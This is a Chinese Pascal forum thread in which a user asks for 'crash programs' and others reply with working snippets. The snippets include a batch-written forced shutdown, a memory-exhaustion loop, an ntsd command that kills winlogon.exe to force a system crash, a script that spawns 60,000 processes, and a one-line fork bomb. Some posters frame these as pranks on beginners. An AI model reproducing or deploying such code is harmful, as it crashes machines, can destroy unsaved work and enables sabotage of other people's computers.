死机程序求 - pascal吧

level 10

ps轮楼主

求下死机程序，最近想了解一下，各位在无聊的时候创出的死机程序给予一下拉

2011年09月10日 06点09分 1

level 7

popoxibayi

关于windows编程的我不太懂
lz
可以翻翻吧里的旧贴和精品贴，我记得以前有人发过
如果lz想写一些应用程序，还是用C比较好，Fp的功能有点低（个人意见）

2011年09月11日 01点09分 2

level 4

xmc54300

只有关机程序：
uses dos;
begin
assign(output,'C:\a.bat');
rewrite(output);
writeln('shutdown -s');
close(output);
exec('C:\a.bat','');
end.

2011年09月16日 14点09分 3

level 5

空空people

有死循环程序整菜鸟的。。。。

2011年09月17日 11点09分 4

level 8

贴吧用户_QM41WZ2141

这个程序可以让你电脑死机：
var
a:^qword;
begin
while true do
begin
a:=getmem(1345);
a[1]:=0;
end;
end.
[滑稽]

2016年07月19日 14点07分 5

level 5

FrostBlove

然而我只会滑稽

2016年07月21日 06点07分 6

level 5

lrj020528

uses dos;
begin
assign(output,'C:\a.bat');
rewrite(output);
writeln('cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul ');
close(output);
exec('C:\a.bat','');
end。

2016年07月21日 08点07分 7

level 5

lrj020528

运行一下，真正的死机

2016年07月21日 08点07分 8

level 5

lrj020528

还有更狠的uses dos;
begin
assign(output,'C:\a.bat');
rewrite(output);
writeln('for /l %%i in (1,1,60000) do start cmdl ');
close(output);
exec('C:\a.bat','');
end.

2016年07月21日 08点07分 9

level 11

曟_IIIV

for(;;fork()); [滑稽]

2016年07月22日 08点07分 10